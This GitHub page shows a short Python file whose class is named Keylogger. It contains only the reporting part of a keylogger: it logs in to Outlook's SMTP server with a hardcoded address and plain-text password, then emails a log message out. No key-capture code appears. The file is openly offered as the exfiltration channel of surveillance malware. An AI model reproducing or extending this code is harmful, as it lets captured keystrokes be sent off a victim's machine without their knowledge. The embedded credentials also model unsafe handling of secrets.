-
Notifications
You must be signed in to change notification settings - Fork 2
/
01.py
29 lines (24 loc) · 1000 Bytes
/
01.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import smtplib
from email.mime.text import MIMEText
class Keylogger:
def __init__(self, email, password):
self.email = email
self.password = password
def prepare_mail(self, message):
return MIMEText(message, "plain")
def sendmail(self, message):
try:
server = smtplib.SMTP(host="smtp-mail.outlook.com", port=587)
server.starttls()
server.login(self.email, self.password) # Use the email and password from class
server.sendmail(self.email, self.email, self.prepare_mail(message).as_string())
server.quit()
print("Email sent successfully")
except Exception as e:
print(f"Failed to send email: {e}")
if __name__ == "__main__":
EMAIL_ADDRESS = "[email protected]"
EMAIL_PASSWORD = "test.js123"
LOG_MESSAGE = "This is a test message from the keylogger."
keylogger = Keylogger(EMAIL_ADDRESS, EMAIL_PASSWORD)
keylogger.sendmail(LOG_MESSAGE)